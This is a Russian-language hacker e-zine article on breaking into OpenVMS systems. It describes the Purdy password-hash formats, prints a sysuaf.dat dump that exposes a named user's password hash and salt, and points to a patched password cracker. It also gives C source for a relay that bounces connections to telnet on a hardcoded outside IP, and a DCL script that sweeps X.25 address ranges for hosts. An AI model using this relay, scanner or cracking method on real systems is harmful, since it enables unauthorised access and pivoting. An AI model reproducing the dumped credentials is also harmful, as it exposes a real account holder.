_ _:. :$$$$$ _ . - +. :l$││$$ s┐┐,,_ +:@QSSS$$$$$ `` $$$$$$$$bs┐.`"┘?$$$l [ And Other OpenVMS ] '└└?$$│$$$$b┐_ . [ Part II ] `"└$│$b. . [ free_hunter/madcr ] `└?b. `. `┘. + `$ _. ` [-] intro. [--] sysuaf.dat & password hashing algoritms. [---] portmapper. [--] x25 dcl scanner. [-] references. [--] intro Some info & our toolz for vms. Just 4 fun, just 4 tech :) [--] sysuaf.dat & password hashing algoritms. На самых первых версиях vms, алгоритмом хеширования паролей (алгоритм 0) являлся простой crc по нужному пасу. Это был 32х битный AUTODIN-II. Оправдание такой простоты алгоритма было лишь в легкости его реализации и древности самих vms. Через некоторое время (начало 70-тых годов) из Иллинойского университета вылезает некий Dr.George B.Purdy, который предлагает свой алгоритм хеширования (версии которого впоследствии и окрестили Purdy1,2,3).В журнале "communication of the ACM, Volume 17, number 8" выходит его статья "A high security log-in procedure" в которой он и описывает сей алгоритм: PURDY_V1 (Purdy polynomial over salted input). PURDY_V2 (Purdy polynomial + variable length username). PURDY_V3 (PURDY_V2 + additional bit rotation). Файл аккаунтов, это некий sys$sysuaf.dat файлик, который имеет довольно интересную структуру, которая в свою очередь описана в древнем, 32-ом номере фрака (inside the sysuaf.dat). Структура, конечно, немного отличается от vms к vms, но в целом, суть одна - это индексный файл, в индексе которого есть пару блоков описывающий сам файл (owner,username,UIС и тд), а уже после этих блоков непосредственно юзерские данные (см. phrack32 и ANALYZE/AUTHORIZE tools). Для наглядности приведу кусочек sysuaf.dat взятый с openvms 5.5 на microvax: $ dump/width=80/page sys$sysuaf.dat ---cut--- Virtual block number 7 (00000007), 512 (0200) bytes 05020000 00000070 00120329 000700B1 │...)...p....... 000000 54534C4F 50000800 DE000000 07000500 .......ч...POLST 000010 00040C00 49008700 00010100 08205245 ER ........I.... 000020 50206C65 696E6144 0E00101C 20494441 ADI ....Daniel P 000030 3031414B 44070009 10207265 74736C6F olster ....DKA10 000040 5D524554 534C4F50 5B09000B 17203A30 0: ....[POLSTER] 000050 44030005 39204E49 474F4C05 00073520 5...LOGIN 9...D 000060 53454C42 41544C43 4409000B 1B204C43 CL ....DCLTABLES 000070 00080700 C0146BAA E7FB52C8 00091520 ...хRШГLk.ю.... 000080 ||||||||||||||||| hash E16927AA C0000810 00060003 0CAD0002 ..?........юL'iА 000090 |||| salt ---cut--- Говоря о акаунтах, есть небольшой, но интересный момент: если у уже созданного юзера меняем пароль, то для нового пароля _не_ генерится нового сальта, а берется старый. Мелочь, но забавно. Теперь,что касается декрипта. В целом,это тот же самый DEC. Соответственно вся работа с хешами аналогична, и самое простое, что приходит на ум,это пропатчить джона. На радость лентяям и распиздяям, патч уже сделан (под все 3 версии алгоритма). Так, что особо одаренные могут покопаться в готовых сорцах и отценить, то, до чего додумался Джордж в 70тых годах :) [--] portmapper This is a vms portmapper code #include /* define internet related constants, */ #include /* define network address info */ #include /* define network database library info */ #include /* define BSD 4.x socket api */ #include /* define standard i/o functions */ #include /* define standard library functions */ #include /* define string handling functions */ #include /* define unix io */ int s,s2,sc; int shell () { int l; char buf[512]; fd_set rfds; int k; while (1) { FD_SET (s2, &rfds); FD_SET (sc, &rfds); if (sc > s2 ) {k=sc;}else{k=s2;}; select (k + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (s2, &rfds)) { l = read (s2, buf, sizeof (buf)); if (l <= 0) { printf("Connection closed by local user"); exit (EXIT_FAILURE); } write (sc, buf, l); } if (FD_ISSET (sc, &rfds)) { l = read (sc, buf, sizeof (buf)); if (l == 0) { printf ("Connection closed by remote host"); exit (EXIT_FAILURE); } else if (l < 0) { printf ("Read failure"); exit (EXIT_FAILURE); } write (s2, buf, l); } }; return 0; } int main() { struct sockaddr_in addr,addrc; unsigned int addrlen; int i,count; char buf[256]; long pid; if((s=socket(PF_INET, SOCK_STREAM, IPPROTO_IP))<0) { printf("socket#1\n"); return -1; } addrlen=sizeof(addr); addr.sin_family=AF_INET; addr.sin_addr.s_addr=0;//inet_aton("0.0.0.0"); addr.sin_port=htons(3000); printf("do bind\n"); if(bind(s, (struct sockaddr *)&addr, addrlen)){ printf("bind#1\n"); return -1; }; printf("do listen\n"); if ( listen(s, 5) ) { printf("listen#1"); return -1; }; printf("do accept\n"); while (1){ if((s2=accept(s, (struct sockaddr *)&addr, &addrlen))<0) { printf("accept#1"); return -1; }; printf("client connected\n"); if((sc=socket(AF_INET, SOCK_STREAM, 0))<0) { printf("socket#1"); return -1; } addrlen=sizeof(addrc); addrc.sin_family=AF_INET; addrc.sin_addr.s_addr=inet_addr("66.0.156.241"); addrc.sin_port=htons(23); printf("do connecting..\n"); if( connect(sc, (struct sockaddr *)&addrc, addrlen) <0 ){ printf("connected#1\n"); return -1; }; printf("connect\n"); shell(); printf("EXIT SRV\n"); shutdown(s2,2); shutdown(sc,2); close(s2); close(sc); }; close(s); return 0; } [--] x25 dcl scanner. $! x25 vms scaner $! problem with 00001 addresses, include 00 in area $ on error then goto err $ say :== write sys$output $ if p4 .eqs. "" $ then $ say "x25 VMS Scan Version 1.0 2004" $ say "Usage:" $ say "x25scan [DnicArea] [HostNuaStart] [HostNuaEnd] [Outfile]" $ say "@sc 3110779 10000 10009 ok.dat" $ say "@sc 311077900 100 109 ok.dat" $ exit $ endif $ say "Starting.. with addr:" + p1 + p2+"\n" $ dnicarea = p1 $ host = p2 $ hostend = F$INTEGER(p3) $ open/write loglist 'p4' $ write loglist "test\n" $ loop1: $ if host .eq hostend $ then goto end $ else say "next try "+dnicarea+host+"\n" $ endif $ close loglist $ open/append loglist 'p4' $ DEFINE /USER SYS$OUTPUT loglist $ on severe_error then goto loop1 $ tmp=F$INTEGER(host) $ tmp=tmp+1 $ host=F$STRING(tmp) $ say "trying.."+dnicarea+host+"\n" $ SET HOST/X29/NOCLI/VMS_MODE/NOSTATISTICS 'dnicarea''host' $ goto loop1 $ err: $ say "Ouch. There has been a error!" $ end: $ say "Complete!" $ close loglist $ exit